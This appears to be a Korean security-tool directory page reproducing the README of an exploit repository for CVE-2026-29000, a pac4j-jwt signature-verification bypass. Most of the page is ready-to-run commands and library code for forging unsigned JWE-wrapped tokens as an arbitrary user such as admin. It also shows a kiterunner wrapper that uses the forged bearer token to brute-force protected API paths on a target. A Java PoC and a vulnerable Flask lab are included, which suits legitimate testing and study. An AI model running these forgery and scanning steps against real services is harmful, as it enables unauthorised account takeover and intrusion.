Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29000 — Forge JWE로 래핑된 서명 없는 JWT를 생성하여 pac4j-jwt 서명 검증(CVE-2026-29000)을 우회하고 임의의 사용자로 인증합니다. Python CLI, 라이브러리, Java PoC, kiterunner 경로 스캐닝을 포함합니다. | Kitploit
도구/GitHubGitHub/kernelzeroday/cve-2026-29000
Authentication & AuthorizationReconnaissancePayload GenerationVulnerability AnalysisExploitationScripting & AutomationWeb Application ExploitationPenetration Testing
GitHubkernelzeroday/cve-2026-29000

CVE-2026-29000

Forge JWE로 래핑된 서명 없는 JWT를 생성하여 pac4j-jwt 서명 검증(CVE-2026-29000)을 우회하고 임의의 사용자로 인증합니다. Python CLI, 라이브러리, Java PoC, kiterunner 경로 스캐닝을 포함합니다.

935개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2026-29000: pac4j-jwt JwtAuthenticator 인증 우회

전체 구성: 분석 문서(writeup), Java 인프로세스 PoC, Python 토큰 위조 CLI 및 라이브러리, 테스트.

요약

  • CVE: CVE-2026-29000 (CVSS 10, CWE-347)
  • 영향 범위: JWE + 서명 구성을 사용하는 pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3
  • 문제점: JWE로 래핑된 PlainJWT(서명 없음)가 서명 검증을 우회합니다. 공격자는 서버의 RSA 공개 키만 있으면 토큰을 위조하고 임의의 사용자로 인증할 수 있습니다.

자세한 내용과 PoC 요구 사항은 WRITEUP.md를 참조하세요.

구성

경로설명
WRITEUP.mdCVE 요약, 근본 원인, 영향 버전, PoC 요구 사항, 참고 자료
RECON.md넣을 내용(클레임 발견, 앱별 클레임) 및 제출 위치(헤더, 쿠키, 보호된 엔드포인트 찾기)
OPERATIONALIZATION.md프로덕션 실행에 필요한 사항: 패키징, 구성, 안전, 자동화, 관찰 가능성, 유지보수
scripts/kr_scan.py토큰을 위조하고 Authorization: Bearer와 함께 kiterunner(~/bin/kr)를 실행하여 보호된 API 경로를 무차별 대입/스캔
examples/예제 스크립트: forge_and_curl.sh, forge_and_kr.sh
lab/토큰 위조 테스트용 Flask 랩 앱(JWE 엔드포인트 + JWKS)
poc/Java Maven PoC(pac4j-jwt 6.0.3에 대한 인프로세스 우회)
token_forge/Python 패키지: PEM 또는 JWKS URL에서 JWE로 래핑된 PlainJWT 위조
tests/클레임, 위조, 키, CLI에 대한 Pytest 테스트
requirements.txtPython 종속성(jwcrypto, requests, pytest)

Python(토큰 위조)

설정

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate   # Windows에서는 .venv\Scripts\activate
pip install -r requirements.txt

CLI 실행

root@kitploit:~
# PEM에서 (생성: openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"

# JWKS URL에서
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin

# 추가 클레임(앱별 발견용): --claim [email protected] --claim key=value
# 옵션: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose

출력: 한 줄(위조된 JWT); Authorization: Bearer <token>으로 사용.

Kiterunner(kr) 자동화

~/bin/kr에 kr이 필요합니다. 토큰을 위조하고 Bearer 인증으로 kr brute(또는 kr scan)를 실행하여 보호된 경로를 발견합니다:

root@kitploit:~
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run

옵션(--subject, --roles, --claim, -A, --scan 등)은 RECON.md §4를 참조하세요.

라이브러리

root@kitploit:~
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url

with open("pub.pem", "rb") as f:
    key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)

테스트

root@kitploit:~
pytest -vv --tb=short --maxfail=1
# 또는 경고를 오류로 처리:
pytest -vv -W error -W always --tb=short --maxfail=1

Java PoC

빌드 및 실행(Java 11+ 및 Maven 필요)

root@kitploit:~
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# 또는 토큰만 생성(인프로세스 검증 없음):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# 사용자 지정 subject/roles 사용:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"

예상 결과: 인프로세스 실행 시 [BYPASS] Authenticated as: admin#override 및 roles 출력.

테스트 및 커버리지

root@kitploit:~
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html  # 그런 다음 htmlcov/index.html 열기

Docker

root@kitploit:~
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing

랩(취약한 대상)

JWE를 수락하고 클레임을 반환하는 Flask 앱(위조 + curl/kr 테스트용).

root@kitploit:~
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me

lab/README.md를 참조하세요.

참고 자료

  • CodeAnt AI – 전체 PoC 및 분석
  • pac4j 보안 권고
  • OpenCVE CVE-2026-29000
도구 다운로드